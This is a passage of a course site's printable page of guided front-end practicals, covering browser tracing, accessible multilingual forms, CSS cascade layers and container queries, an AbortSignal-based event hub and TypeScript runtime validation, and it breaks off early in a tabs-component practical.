Skip to content

This is the multi-page printable view of this section. .

Return to the regular view of this page.

Frontend Playground

Guided practicals for the Modern Front-End Engineering book.

The Playground contains the guided practical work for the book. The runnable source code will live in a separate companion repository; this site contains the instructions, verification criteria, and links back to the relevant chapters.

Practical work

PracticalRelated chapterFocus
01 - Browser Observation (optional virtualization)1Browser work and measured virtualization
02 - Accessible Composite Listbox2Semantics, keyboard interaction, and accessibility
03 - Intrinsic, Container-Aware Dashboard3Modern CSS layout
04 - Typed, Abortable Event Hub4JavaScript events and cancellation
05 - Runtime-Validated Data Boundary5TypeScript and runtime validation
06 - Compound Headless Tabs6Component architecture
07 - Reactive Computed Graph7Reactivity and derived state
08 - URL-Driven Catalogue State8Routing and application state
09 - Cached Administrative API Client9APIs, caching, and failure states
10 - Offline Outbox and Recovery10Offline persistence and recovery
11 - Rendering Topology Comparison11CSR, SSR, and SSG trade-offs
12 - Modern Front-End Toolchain12Module graphs and code splitting
13 - Secure Front-End Application Boundary13Security boundaries and safe sinks
14 - Design-System Package and Ownership Map14Design systems and ownership
15 - Measured Virtualized Performance15Performance investigation
16 - Resilient UI Integration Suite16Integration testing
17 - Delivery, Observability, and Rollback Loop17Delivery and operations
18 - Make and Defend an Architecture Decision18ADRs and technical decision-making

Companion code

The companion repository will contain the runnable Vite and TypeScript projects, checkpoints, tests, and reference implementations. This repository deliberately keeps those implementation files separate from the book and its practical instructions.

1 - Browser Observation and Measured Virtualization

Practical 01 - Browser Observation and Measured Virtualization

Related: Chapter 1 · Lecture slides

Objective

Explain how one small page loads and responds using evidence from browser tools. Predict what will happen, change one variable, and connect the result to resource discovery, parsing, scheduling, or rendering. The core exercise does not require a framework, TypeScript, or a virtual list.

Prerequisites and setup

You need basic HTML, CSS, JavaScript, and a browser with developer tools. Use a local static HTTP server you already know; if Python is installed, python -m http.server 8000 from the exercise folder is sufficient. Visit http://localhost:8000/ rather than opening the HTML through file:. Module loading needs a suitable served context.

Create this folder as your own exercise project:

chapter-01-runtime/
├── index.html
├── styles.css
├── legacy.js
├── app.js
└── hero.webp

Copy the chapter’s full running-example HTML into index.html. Supply an image you may use, adjust its alternative text and dimensions, and make sure the URL returns successfully. Add simple styles for the page and list; start list items with a width other than 300px. Keep the page free of service workers and third-party code.

Initially, legacy.js should only log whether the heading exists. In app.js, use a deferred script to connect the button and update the status. Replace those implementations as each stage requests; do not accumulate every experiment in one file.

Record the browser/version, viewport, cache setting, and network/CPU throttling. Disable the HTTP cache for the first discovery comparisons where the tool allows it, and keep DevTools open if that setting depends on it. Repeat important comparisons at least three times under the same conditions. Keep debugger pauses out of timing captures.

Stage 1 - Trace discovery

Load the unmodified page and record the document, stylesheet, both scripts, and image in Network. Inspect the initiator and start time of each request. Do not assume that request order equals execution order.

Next, remove the image from the HTML and create it in a timer callback after a requested two-second delay. Keep its URL and content unchanged. Ensure no preload, CSS reference, or second image reveals that URL earlier.

Verify: the markup version can discover the image directly; the script version depends on the callback assigning src. Capture a waterfall or timing table for both runs. The delay is not an exact scheduling guarantee. If the result is obscured by caching or another reference, identify that cause and repeat the comparison.

Stage 2 - Separate script readiness from document readiness

Temporarily remove the extra blocking script and use one external probe script in the head. Test it as classic, defer, async, and module, one declaration per run. Keep the probe free of imports and top-level await for this comparison.

Log its execution time, document.readyState, and whether h1 exists. Register separate DOMContentLoaded and window load listeners in an inline script placed before the probe so their registration does not depend on the probe’s mode.

Then restore the original stylesheet-plus-classic-script combination. If the browser provides local response throttling or overrides, delay the stylesheet and investigate whether it holds up script execution. Treat this last comparison as optional when the tooling cannot isolate the delay.

Verify: the classic head script runs before the later heading is parsed; deferred and default-module probes can access it. Async timing may vary. An async script observed after parsing in every trial still has no general after-parsing guarantee. Explain the distinction between downloading, executing, finding a DOM node, and presenting pixels.

Stage 3 - Predict callback order and inspect a slow interaction

First run this code as a single script:

console.log("one");
setTimeout(() => console.log("two"), 0);
queueMicrotask(() => console.log("three"));
Promise.resolve().then(() => console.log("four"));
console.log("five");

Write your prediction before running it. Then explain the observed one, five, three, four, two order using synchronous execution, microtask enqueue order, and a later timer task.

Next use the chapter’s bounded 200 ms slow click handler in app.js. Record a performance trace while activating the button once. Observe whether the intermediate “Working…” value is presented and locate the handler’s execution. Run the bounded microtask-chain example separately if you want to compare its order with a timer.

Verify: identify the callback order and the approximate interval occupied by the slow handler. Explain why a DOM change need not be painted before the next statement, and why neither a Promise nor async automatically moves computation off the main thread. A trace need not expose every compositor event to support those observations.

Stage 4 - Compare rendering work

Create a few hundred noninteractive list items containing ordinary text. Record a width change, restore the initial state, and record a transform. These produce different visual effects; compare work categories rather than declaring one an equivalent faster implementation.

Now compare the chapter’s interleaved write/read loop with its batched alternative. Reset all rows to the same starting width before each run. Keep row count, viewport, and recording conditions unchanged, and exclude setup/reset work from the measured interval where possible.

Verify: report JavaScript, style, layout, and paint work where the profiler exposes it. State whether repeated layout was visible and whether batching changed it. If the difference is too small or the trace too coarse to interpret, report that limit. Do not infer universal speed, a fixed frame rate, or zero layout from one run.

What to submit

For each core comparison, include one row in this evidence table:

ChangePredictionObserved evidenceExplanationLimit or confounder
Describe one controlled changeState the expected dependency or orderRecord trace events, logs, or timingsConnect the evidence to the chapterNote caching, tool limits, or unexplained variation

Also include the setup conditions and a diagram connecting discovery, parsing, scripts, DOM, style/layout, presentation, and later input. Distinguish required dependencies from timing that may vary. Explain one observation that differed from your initial expectation.

Completion means you can justify the explanation from your evidence - not that every trace matches the chapter’s conceptual diagrams.

When an experiment gives an unexpected result

  • No new image request: check the cache indication, URL, earlier references, and whether the delayed callback ran.
  • Module does not execute: check Console and Network for path, MIME-type, or serving problems.
  • Every async run looks ordered: vary resource timing if possible; observations do not create an execution-order guarantee.
  • No visible “Working…” state: that is compatible with the handler preventing an intermediate presentation, not proof the assignment failed.
  • No layout difference: verify that the initial width differs from the target, rows exist, and setup was excluded. Keep a null result if the evidence does not justify a stronger claim.

Optional extension - A fixed-height virtual list

After completing the observation work, compare a full list with a version that renders a visible window plus a small buffer. Use fixed-height rows first. Document the dataset, viewport, row count in the DOM, and how scroll position maps to the rendered range.

Check the first and last items, resizing, fast scrolling, and preservation of item order and scroll extent. If rows become interactive, explain what happens when a focused row would leave the rendered range. Evaluate keyboard use and the information available to assistive technologies; rendering fewer nodes alone does not prove accessibility or a performance improvement.

Measure before and after using the same interaction and conditions. Keep this extension optional even if the full list is already fast. Continue with Chapter 15 and Practical 15 for deeper profiling. Variable-height measurement, ResizeObserver, and scroll anchoring belong to a later extension because they introduce additional geometry and state-management problems.

2 - Accessible Multilingual Interface and Composite Controls

Practical 02 - Accessible Multilingual Interface and Composite Controls

Related: Chapter 2 · Lecture slides

Objective

Build a resilient, fully accessible public-service portal that demonstrates the platform relationship between semantic HTML, the accessibility tree, internationalization, and live DOM event handling.

You will establish a native selection baseline first using standard HTML controls, prove that the interface is completely operable via keyboard with explicit labeling and validation, handle mixed English and Kurdish/Arabic directional text, and implement delegated DOM events. As an optional extension, you will implement an accessible composite widget (a custom multi-select listbox) with roving tabindex.

Prerequisites and setup

You need basic HTML, CSS, JavaScript, and a browser with developer and accessibility inspection tools (e.g. Chrome/Firefox Accessibility Tree inspection panel). Serve the exercise locally using any local static HTTP server (e.g., python -m http.server 8000 or npx serve .):

Create this folder structure:

chapter-02-semantics/
├── index.html
├── styles.css
└── app.js

Ensure your stylesheet includes a distinct, high-contrast :focus-visible outline. Keep third-party UI libraries or CSS frameworks out of the project; all behaviors and styles must be native.

Stage 1 - Establish semantic landmarks and native selection baseline

Construct the core portal page containing:

  • A <header> with site title and a <nav aria-label="Primary"> containing navigation links.
  • A single <main> landmark with a logical heading structure (<h1> $\rightarrow$ <h2>).
  • A service request form using native interactive controls:
    • A native <select id="service-type" name="service" required> dropdown with options for different certificate requests.
    • A <fieldset> with a <legend> containing radio buttons for submission urgency (Standard vs Express).
    • A <button type="submit"> element.
  • A recent-requests <table> with a <caption>, explicit header scopes (<th scope="col"> and <th scope="row">), and sample rows.
  • A <footer> containing organizational metadata.

Verify: Disable CSS in your browser. Verify that the document outline, landmarks, form controls, and table data remain immediately understandable and navigable.

Stage 2 - Programmatic labeling, keyboard operability, and error association

Enhance the form with comprehensive accessibility associations:

  • Ensure every control has an explicit <label for="..."> matching the input’s id.
  • Add a multiline <textarea id="notes" name="notes" required> for applicant statements.
  • Configure explicit error association: add a dedicated <p id="notes-error" role="alert" hidden></p> element.
  • Connect the error container to the input via aria-describedby="notes-error notes-hint".
  • In app.js, intercept form submission. If the textarea is empty, mark aria-invalid="true", populate the error text, unhide the container, and programmatically move focus to the invalid field.

Verify: Navigate the entire page using only the Tab, Shift+Tab, Space, and Enter keys. Confirm that:

  1. Every control receives a visible focus indicator.
  2. No interactive element requires a mouse to activate.
  3. Form validation errors are programmatically announced by screen-reader tools when triggered.

Stage 3 - Multilingual content, directionality, and event delegation

Introduce internationalization and live DOM manipulation:

  • Declare the primary document language on <html> (lang="en" dir="ltr").
  • On the notes field, configure dir="auto" so citizen statements written in Central Kurdish (ckb) or Arabic (ar) automatically align right-to-left.
  • In the recent requests table, render multilingual rows. Use <bdi> to isolate user-submitted RTL statements so they do not scramble adjacent reference codes or punctuation.
  • In app.js, implement a dynamic row addition feature upon form submission. Use safe DOM methods (document.createElement, textContent, append) rather than raw innerHTML.
  • Add an action button (<button type="button" data-action="cancel">) to each table row. Instead of attaching a listener to every button, attach one listener to the <tbody> element and use event.target.closest('button[data-action="cancel"]') to handle cancellations via event bubbling.
  • Expose dynamic updates to assistive devices using a live region (role="status" and aria-live="polite").

Verify: Add an entry containing Arabic or Kurdish text alongside English IDs. Confirm that text direction is properly isolated and that clicking dynamic buttons triggers the delegated handler correctly.

Stage 4 (Optional Extension) - Composite multi-select listbox

Only after completing Stages 1–3, evaluate whether a custom widget is justified. Build an enhanced multi-select listbox:

  1. Create a container with role="listbox", aria-multiselectable="true", and aria-label="Available services".
  2. Inside, render child options with role="option" and aria-selected="false".
  3. Implement roving tabindex:
    • The currently focused option has tabindex="0"; all other options have tabindex="-1".
    • Pressing DownArrow or UpArrow moves focus and updates tabindex="0" to the next or previous option without scrolling the page.
    • Home moves focus to the first option; End moves to the last option.
    • Space toggles the selection state (aria-selected="true|false").
  4. Preserve the native <select multiple> as a fallback.

Verify: Inspect the accessibility tree in DevTools. Verify that the custom listbox exposes correct roles, options, and selection states, and that navigating via Tab treats the listbox as a single tab stop.

What to submit

Document your implementation by submitting the completed project files (index.html, styles.css, app.js) and filling out this verification table:

Verification TargetRequirementObserved EvidenceExplanationConfounders or Limits
Document HierarchyLogical h1-h2 structure and landmarksAccessibility tree snapshotDocument outline exposes clean landmarksChecked in Chrome/Firefox DevTools
Keyboard Navigation100% operable without mouse; visible focusTab progression sequence:focus-visible styling provides clear indicatorVerified with keyboard only
Form ValidationError announced via aria-describedbyAccessibility tree inspectionaria-invalid="true" set upon empty submitBrowser native validation disabled for test
Internationalization<bdi> isolates mixed LTR/RTL contentVisual alignment testText punctuation remains intact across scriptsTested with Central Kurdish / Arabic input
Event DelegationSingle listener handles dynamic rowsConsole event logsevent.target.closest() captures row actionEvent bubbling through <tbody>

When an experiment gives an unexpected result

  • No focus ring visible: Verify that your CSS does not contain outline: none without a matching :focus-visible declaration.
  • Screen reader does not announce validation error: Check that the error container has role="alert" or aria-live="assertive", and that aria-describedby matches the error element’s exact id.
  • RTL text scrambles adjacent numbers: Confirm that the user string is wrapped inside <bdi> or has dir="auto".
  • Delegated click listener does not fire: Check whether event.target.closest(...) selector matches the button, and ensure the event is allowed to bubble (i.e. stopPropagation() was not called on a child element).

3 - Intrinsic, Container-Aware Dashboard

Practical 03 - Intrinsic, Container-Aware Dashboard

Related: Chapter 3 · Lecture slides

Objective

Build a resilient, responsive executive dashboard that demonstrates CSS as an architectural system. You will implement an explicit cascade layer stack, establish a 3-tier design token hierarchy, construct an adaptive 2D Grid shell with Subgrid card alignment, and implement container queries that allow components to adapt to their immediate container space rather than relying exclusively on viewport media queries.

Finally, you will verify that the interface seamlessly supports bidirectional internationalization (ltr $\leftrightarrow$ rtl), accommodates extreme text variations without overflow, and functions reliably under 200% browser zoom without JavaScript resize listeners.

Prerequisites and setup

You need an HTML editor, a modern browser with Developer Tools (supporting CSS Grid, Subgrid, and Container Queries), and a local HTTP server.

Create your project workspace:

chapter-03-dashboard/
├── index.html
└── styles.css

Do not install CSS frameworks (such as Tailwind or Bootstrap) or JavaScript layout libraries. All layout, adaptation, and layer boundaries must be constructed using native CSS.

Stage 1 - Architectural cascade layers and 3-tier design tokens

Establish a predictable precedence hierarchy and design token system in styles.css:

  1. Declare your cascade layer stack at the very top of the stylesheet:
    @layer reset, tokens, base, layout, components, utilities;
  2. In @layer tokens, construct a 3-tier token hierarchy using CSS custom properties:
    • Tier 1 (Raw Foundation): Primitive color palettes, spacing units, and radius values (e.g. --blue-600: #005a9c;, --space-4: 1rem;).
    • Tier 2 (Semantic Context): Meaning-based tokens mapped to raw values (e.g. --color-primary: var(--blue-600);, --color-surface: #ffffff;, --space-card-padding: var(--space-4);).
    • Tier 3 (Component-Scoped): Component-specific parameters that can be overridden locally (e.g. --card-border-color: var(--color-border);).
  3. Add dark-mode theme adaptation via prefers-color-scheme: dark by updating semantic tokens at the :root level.
  4. In @layer reset, apply universal box-sizing: border-box, remove default margins, and ensure media elements have max-inline-size: 100%.

Verify: Inspect the styles in browser DevTools. Confirm that layers are recognized in the Styles pane and that modifying a single semantic token (such as --color-primary) updates all consuming components across the interface.

Stage 2 - 2D Grid layout and card alignment with Subgrid

Build the page architecture and product catalog in index.html:

  1. Structure the layout shell using CSS Grid with named areas:
    • header spanning the top row.
    • sidebar on the inline-start side (minmax(14rem, 18rem)).
    • main occupying remaining space (1fr).
    • At small viewport widths (under 48rem), collapse the grid into a single vertical column.
  2. In the main catalog section, construct a responsive card grid using auto-placement:
    .card-grid {
      display: grid;
      grid-template-columns: repeat(auto-fit, minmax(min(100%, 16rem), 1fr));
      grid-auto-rows: auto 1fr auto;
      gap: var(--space-md);
    }
  3. Populate three sample cards with intentionally unequal content:
    • Card 1: Single-line title, one-sentence description.
    • Card 2: Three-line title, four-sentence detailed description.
    • Card 3: Two-line title, two-sentence description.
  4. Apply Subgrid to each card (grid-row: span 3; grid-template-rows: subgrid;) so that card titles share Row 1, descriptions share Row 2, and action buttons snap to Row 3 along a shared horizontal baseline.

Verify: Inspect the cards visually and with DevTools Grid overlay. Confirm that despite varying description lengths, all card action buttons remain strictly aligned across each grid row without hardcoded element heights.

Stage 3 - Container queries and fluid sizing

Make components context-aware rather than screen-aware:

  1. Configure the sidebar container as a queryable container:
    .app-sidebar {
      container-type: inline-size;
      container-name: sidebar-context;
    }
  2. Build a summary metric card (.stat-card). Place one instance of this card inside the main content area and a second instance inside the narrow sidebar.
  3. Use a container query to adapt the card’s layout:
    • When container width is under 260px, render the metric and label in a stacked vertical layout with compact typography.
    • When container width exceeds 260px, render the metric and label horizontally with expanded spacing.
  4. Replace rigid heading font sizes with fluid typography using clamp():
    h1 {
      font-size: clamp(1.5rem, 1.2rem + 1.5vw, 2.5rem);
    }

Verify: Resize the browser window and drag the sidebar boundary. Confirm that the card in the sidebar switches layout based on the sidebar’s width, while the card in the main area remains in its expanded layout.

Stage 4 - Logical properties, bidirectional layout, and stress testing

Ensure internationalization resilience and edge-case durability:

  1. Audit styles.css to verify that no physical coordinates (margin-left, padding-right, left, right) are used. Replace all instances with logical equivalents (margin-inline-start, padding-inline-end, inset-inline-start).
  2. Add a language/direction toggle button (or manually set <html lang="ckb" dir="rtl">):
    • Confirm that the sidebar automatically flips to the right side.
    • Confirm that navigation links, card padding, and button icons flip orientation without writing a single [dir="rtl"] override rule.
  3. Stress Tests:
    • Unbroken String: Insert a 45-character unbroken alphanumeric reference code (e.g. DOC-REQ-7894239847293847293847293847298374928374) into a card title. Verify that overflow-wrap: break-word; prevents horizontal layout blow-out.
    • Browser Zoom: Zoom the browser viewport to 200%. Verify that navigation and cards stack gracefully without overlapping text or clipping content.

What to submit

Submit your index.html and styles.css along with a completed verification report:

TargetRequirementObserved EvidenceExplanationConfounders or Limits
Cascade LayersExplicit precedence across @layer stackDevTools Layers inspectionUtility rules override component styles; layer order verifiedInspected in Chrome/Firefox
Subgrid AlignmentCards align titles, text, and buttonsGrid overlay screenshotAll card buttons share identical row datumBrowser must support CSS Subgrid
Container QueriesComponent adapts to sidebar vs main areaSidebar width testCard switches layout at 260px container boundaryVerified independently of viewport
Logical PropertiesZero physical directional overridesRTL toggle test (dir="rtl")Sidebar, card paddings, and alignment flip automaticallyChecked with Central Kurdish / Arabic
Edge-Case Resilience200% zoom and unbroken stringsZoom & long-string testNo horizontal scrollbars; text wraps cleanlyTested under extreme text length

When an experiment gives an unexpected result

  • Subgrid does not align children: Ensure the parent grid has explicit rows (e.g. grid-auto-rows: auto 1fr auto;) and that each child card declares grid-row: span 3; grid-template-rows: subgrid;.
  • Container query does not fire: Check that container-type: inline-size; is applied to an ancestor container of the component, and that the query references the correct container name.
  • Component overflows its grid column: Ensure that grid tracks use minmax(min(100%, 16rem), 1fr) or that child containers have min-inline-size: 0; to prevent min-content blowout.
  • RTL layout fails to mirror margins: Check whether legacy physical properties (margin-left or margin-right) were accidentally used instead of margin-inline-start and margin-inline-end.

4 - Abortable Event Hub and Asynchronous Control

Practical 04 - Abortable Event Hub and Asynchronous Control

Related: Chapter 4 · Lecture slides

Objective

Build a framework-agnostic, publish-subscribe event hub in modern JavaScript that manages decoupled communication across application modules.

You will implement private state encapsulation using closures, support single-operation listener teardown using AbortSignal, isolate listener errors so that a failure in one subscriber cannot prevent others from executing, and eliminate race conditions in asynchronous requests.

Prerequisite Notice: This laboratory is implemented entirely in pure modern JavaScript (ES Modules). To maintain dependency order, compile-time TypeScript contracts for event names and payload shapes will be introduced as an optional extension in Chapter 5.

Prerequisites and setup

You need a modern browser with Developer Tools or a current Node.js runtime supporting ES Modules (Node 18+).

Create your exercise workspace:

chapter-04-event-hub/
├── event-hub.js
├── search-service.js
├── app.js
└── index.html

Do not import third-party event libraries (such as EventEmitter or RxJS). All subscription mechanics, signal handling, and scheduling must be constructed from platform primitives.

Stage 1 - Core publish-subscribe engine with closure encapsulation

In event-hub.js, implement a factory function createEventHub() that uses closures to maintain private subscriber state:

  1. Maintain an internal Map<string, Set<Function>> mapping event names to sets of subscriber callbacks. Do not expose this map directly on the returned object.
  2. Implement the core subscription and dispatch methods:
    • on(event, listener): Adds a listener to the set. Returns a parameterless unsubscribe() function that removes the listener.
    • off(event, listener): Explicitly removes a listener from the specified event.
    • emit(event, payload): Iterates over a copy of the active subscriber set and invokes each listener with payload.
  3. Ensure that calling unsubscribe() multiple times or calling off() with an unregistered listener fails gracefully without throwing.

Verify: Write a test script in app.js subscribing three distinct listeners to a service:selected event. Emit the event with an ID payload, verify all three receive the payload, unsubscribe the second listener, emit again, and confirm only the remaining two listeners execute.

Stage 2 - Cooperative cancellation and teardown with AbortSignal

Extend on() to support standard web platform cancellation options:

hub.on('service:updated', onUpdate, { signal: controller.signal, once: true });
  1. The once Option: If once: true is passed, wrap the listener so it automatically unregisters itself immediately upon its first execution before invoking the user callback.
  2. The signal Option: If an AbortSignal is supplied:
    • If the signal is already aborted (signal.aborted === true), return immediately without registering the listener.
    • Otherwise, attach an abort event listener to the signal that automatically cleans up and removes the subscription when signal.abort() is triggered.
    • Ensure that if the subscription is manually removed via unsubscribe() or once, the internal abort listener on the signal is also removed to prevent memory leaks.

Verify: Create an AbortController. Register three different subscriptions (e.g. for window resize, modal status, and data sync) passing { signal: controller.signal }. Call controller.abort(). Emit events on all channels and confirm that none of the aborted listeners execute.

Stage 3 - Listener error isolation and microtask dispatch

In standard synchronous event dispatching, if listener 1 throws an unhandled error, execution halts immediately, and listeners 2 and 3 never receive the event.

Harden emit() against subscriber exceptions:

  1. Wrap individual listener invocations in a try...catch boundary:
    for (const listener of subscribers) {
      try {
        listener(payload);
      } catch (err) {
        // Route unhandled error to platform diagnostic channel without breaking loop
        if (typeof window !== 'undefined' && window.reportError) {
          window.reportError(err);
        } else {
          console.error(`[EventHub] Unhandled error in listener for "${event}":`, err);
        }
      }
    }
  2. Implement an asynchronous variant emitAsync(event, payload) that dispatches subscriber notifications as microtasks (queueMicrotask or Promise.resolve().then()) to prevent long listener tasks from blocking the caller.

Verify: Register three listeners for data:mutation. Configure the second listener to deliberately throw new Error("Database write failed"). Emit the event. Verify that Listener 1 and Listener 3 execute successfully and that the error from Listener 2 is logged to the diagnostic console.

Stage 4 - Live search integration and race-condition elimination

In search-service.js and app.js, build a live citizen service search component using your event hub:

  1. Maintain an active AbortController in module scope.
  2. When the user types into an input field:
    • Debounce input events by 300ms using a closure-based debounce utility.
    • If a previous network request is active, invoke activeController.abort().
    • Create a new AbortController and pass its signal to fetch('/api/services?q=...').
    • When the request starts, emit search:start on the hub.
    • If the fetch resolves with valid data, emit search:success with the results.
    • If the fetch throws AbortError, emit search:aborted and do not touch the UI.
    • If the fetch throws any other error, emit search:error.
  3. In app.js, subscribe UI renderers to search:success and status banners to search:start/search:error.

Verify: Simulate a slow request (800ms) for "res" followed immediately by a fast request (150ms) for "residence". Verify that:

  1. The "res" request is aborted cleanly via AbortController.
  2. The UI never displays stale "res" results.
  3. The event hub logs the cancellation as expected control flow without throwing unhandled exceptions.

What to submit

Submit your implementation files (event-hub.js, search-service.js, app.js) and a completed verification report:

TargetRequirementObserved EvidenceExplanationConfounders or Limits
Closure PrivacySubscriber map not directly accessibleInspection of hub objectPrivate map encapsulated within factory closureTested via Object.keys()
AbortSignal TeardownAll listeners removed on controller.abort()Post-abort emit testEvent listener count drops to 0; no notifications firedVerified with active signal
Error IsolationThrown error in one listener does not halt othersFault injection testListeners 1 & 3 complete despite Listener 2 throwingLogged via reportError
Race PreventionStale async requests do not overwrite UIOut-of-order latency testAbortError caught; only newest search updates DOMSimulated network delays

When an experiment gives an unexpected result

  • Aborted listener still runs: Ensure signal.addEventListener('abort', ...) is correctly bound and that the cleanup function removes the exact reference from the Set.
  • Memory leak warning with signals: If an event hub subscription is removed manually before signal.abort() is called, ensure you also call signal.removeEventListener('abort', cleanup) to release the signal reference.
  • fetch() does not cancel: Confirm that you are passing { signal: controller.signal } in the options object of fetch(url, options), and that your mock server or test environment supports AbortSignal.
  • Listeners execute in unexpected order: In JavaScript, Set preserves insertion order. Modifying or re-registering listeners can alter invocation sequence.

5 - Runtime-Validated Data Boundary and Typed Event Hub

Practical 05 - Runtime-Validated Data Boundary and Typed Event Hub

Related: Chapter 5 · Lecture slides

Objective

Build a resilient API trust boundary in TypeScript that ingests unknown external data, enforces runtime validation before types are asserted, transforms verified input into trusted domain records, and surfaces user-friendly diagnostics when contracts fail.

You will test your boundary against a rigorous matrix of valid, malformed, incomplete, and unexpected payloads. Furthermore, you will connect this laboratory to Chapter 4 by upgrading the pure JavaScript event hub with compile-time generic event maps.

Prerequisites and setup

You need Node.js (v18+) and the TypeScript compiler (tsc).

Create your exercise workspace:

chapter-05-boundary/
├── src/
│   ├── types.ts
│   ├── boundary.ts
│   ├── event-hub.ts
│   └── app.ts
├── index.html
├── package.json
└── tsconfig.json

Ensure your tsconfig.json enforces full strictness:

{
  "compilerOptions": {
    "target": "ES2022",
    "module": "ESNext",
    "moduleResolution": "bundler",
    "strict": true,
    "noImplicitAny": true,
    "strictNullChecks": true,
    "noUncheckedIndexedAccess": true,
    "skipLibCheck": true
  },
  "include": ["src/**/*"]
}

Do not use as SomeType type assertions to bypass validation. Every domain record must be proven at runtime before it can enter application state.

Stage 1 - Model domain records and discriminated results

In src/types.ts, define your domain models using discriminated unions:

export type Result<T, E = BoundaryError> =
  | { readonly ok: true; readonly data: T }
  | { readonly ok: false; readonly error: E };

export interface ServiceRecord {
  readonly id: string;
  readonly name: string;
  readonly feeIqd: number;
  readonly isAvailable: boolean;
  readonly department: 'Civil' | 'Housing' | 'Legal';
}

export class BoundaryError extends Error {
  constructor(
    public readonly kind: 'transport' | 'schema',
    message: string,
    public readonly issues?: readonly string[]
  ) {
    super(message);
    this.name = 'BoundaryError';
  }
}

Stage 2 - Implement the runtime parser and test matrix

In src/boundary.ts, implement a validation parser parseServiceRecord(raw: unknown): Result<ServiceRecord, BoundaryError>. You may implement this with explicit property checks or with a schema parsing library (such as Zod).

Execute the parser against a four-case test matrix:

  1. Valid Case:
    { "id": "SR-1042", "name": "Residence Certificate", "feeIqd": 25000, "isAvailable": true, "department": "Civil" }
    Expected: Returns { ok: true, data: ServiceRecord }.
  2. Malformed Case:
    { "id": "SR-1042", "name": "Residence Certificate", "feeIqd": "twenty-five thousand", "isAvailable": "yes", "department": "Civil" }
    Expected: Fails schema validation with specific messages indicating feeIqd must be a number and isAvailable must be a boolean.
  3. Incomplete Case:
    { "id": "SR-1042", "department": "Civil" }
    Expected: Fails schema validation reporting missing required fields (name, feeIqd, isAvailable).
  4. Unexpected Backend Case:
    { "status": "error", "code": 503, "message": "Database cluster failover in progress" }
    Expected: Correctly identified as an incompatible schema without crashing with a TypeError.

Verify: Run tsc --noEmit. Verify that result.data is completely inaccessible on { ok: false } branches, and that narrowing on result.ok permits safe access to all domain fields.

Stage 3 - Distinguish transport failures from schema failures and surface to UI

In src/app.ts, coordinate network fetching, validation, and DOM updates:

  1. Differentiate network disconnects and HTTP 500 errors (kind: 'transport') from schema decoding errors (kind: 'schema').
  2. Surface appropriate feedback to the user:
    • Transport Errors: Inform the user: “Network connection unavailable. Please check your connection and retry.”
    • Schema Errors: Inform the user: “Service record received in an unrecognized format. Our technical team has been alerted.” Log detailed structural issues to the console without exposing sensitive internals to the user interface.

Verify: Trigger each error condition in the browser UI. Verify that error messages are rendered inside an accessible container (role="alert" or aria-live="polite").

Stage 4 (Chapter 4 Extension) - Strongly typed event hub

Extend the publish-subscribe event hub from Practical 04 with a compile-time generic contract:

export interface CitizenEventMap {
  'search:start': { query: string; timestamp: number };
  'search:success': { query: string; results: readonly ServiceRecord[] };
  'search:error': { query: string; error: BoundaryError };
  'service:selected': { serviceId: string };
}

export function createTypedEventHub<Events extends Record<string, unknown>>() {
  const subscribers = new Map<keyof Events, Set<(payload: any) => void>>();

  return {
    on<K extends keyof Events>(
      event: K,
      listener: (payload: Events[K]) => void,
      options?: { signal?: AbortSignal; once?: boolean }
    ): () => void {
      // Manage subscription and AbortSignal cleanup...
    },

    emit<K extends keyof Events>(event: K, payload: Events[K]): void {
      // Isolate listener execution and dispatch...
    }
  };
}

Verify: In src/app.ts, instantiate createTypedEventHub<CitizenEventMap>().

  1. Verify that hub.emit('search:start', { query: 'res', timestamp: Date.now() }) compiles cleanly.
  2. Verify that hub.emit('invalid:channel', {}) fails compilation with an invalid event name error.
  3. Verify that hub.emit('search:start', { query: 123 }) fails compilation due to mismatched payload shape.

What to submit

Submit your TypeScript source files (src/types.ts, src/boundary.ts, src/event-hub.ts, src/app.ts) and a completed verification report:

TargetRequirementObserved EvidenceExplanationConfounders or Limits
Type Erasure AwarenessZero as assertions on external JSONCode audit of boundary.tsAll JSON parsed through runtime validatorChecked via compiler
Payload MatrixAll 4 test cases handled predictablyTest runner outputValid parsed; malformed/incomplete/error rejectedTested in test harness
Error DifferentiationTransport vs schema errors separatedUI error snapshotUser receives actionable context; diagnostics loggedNetwork throttled in DevTools
Typed Event HubCompile-time check on events & payloadstsc --noEmit failure testInvalid event names and payloads rejected by tscVerified against EventMap

When an experiment gives an unexpected result

  • TypeScript permits reading invalid properties: Ensure you did not cast the fetch result as any or use as ServiceRecord. Input must remain unknown until narrowed.
  • BoundaryError instanceof check fails: When compiling TypeScript to older targets (ES5), subclassing Error can break prototype chains. Ensure "target": "ES2022" is configured in tsconfig.json.
  • Optional properties become undefined: Remember that noUncheckedIndexedAccess: true requires checking whether array items or dynamic dictionary keys are defined before accessing their properties.

6 - Compound Headless Tabs and Component State Boundaries

Practical 06 - Compound Headless Tabs and Component State Boundaries

Related: Chapter 6 · Lecture slides

Objective

Build a resilient, headless compound tabs system that decouples interaction state machine logic, keyboard navigation, and WAI-ARIA semantics from presentation and styling.

You will implement:

  1. A compound component hierarchy (Tabs, TabsList, Tab, TabPanel) sharing state without prop drilling.
  2. A dual controlled and uncontrolled state contract that prevents ambiguous state ownership.
  3. A robust WAI-ARIA accessible keyboard contract featuring roving tabindex, automatic/manual activation modes, and bidirectional panel associations.
  4. Independent verification confirming that consumer styling can change freely without breaking behavioral guarantees.

Prerequisites and Workspace Setup

You need Node.js (v18+) and a modern front-end build environment (such as Vite with TypeScript and React or Vue 3).

Initialize your practical workspace:

chapter-06-compound-tabs/
├── src/
│   ├── types.ts             # Compound interfaces, props, and accessibility types
│   ├── tabs-context.ts      # Context (React) or Provide/Inject (Vue) definition
│   ├── use-tabs-state.ts    # Headless state machine managing selection & focus
│   ├── components/
│   │   ├── Tabs.tsx         # Compound root and state coordinator
│   │   ├── TabsList.tsx     # Tab container with role="tablist"
│   │   ├── Tab.tsx          # Tab trigger with roving tabindex & ARIA attributes
│   │   └── TabPanel.tsx     # Associated content container with role="tabpanel"
│   ├── app.tsx              # Demonstration consumer showcasing custom styling
│   └── tabs.test.ts         # Automated behavioral tests
├── index.html
├── package.json
└── tsconfig.json

Ensure your TypeScript configuration enforces strict type checks ("strict": true).


Stage 1 - Decompose Compound Responsibilities

Deconstruct the tabs widget into four distinct component boundaries. Each component must own a single, cohesive responsibility:

flowchart TD
    Root["Tabs (Root Coordinator)\n• Owns/receives selection state\n• Holds orientation & activation mode\n• Exposes shared Context"]
    
    List["TabsList (Navigation Container)\n• Renders role='tablist'\n• Sets aria-orientation\n• Scopes keyboard arrow events"]
    
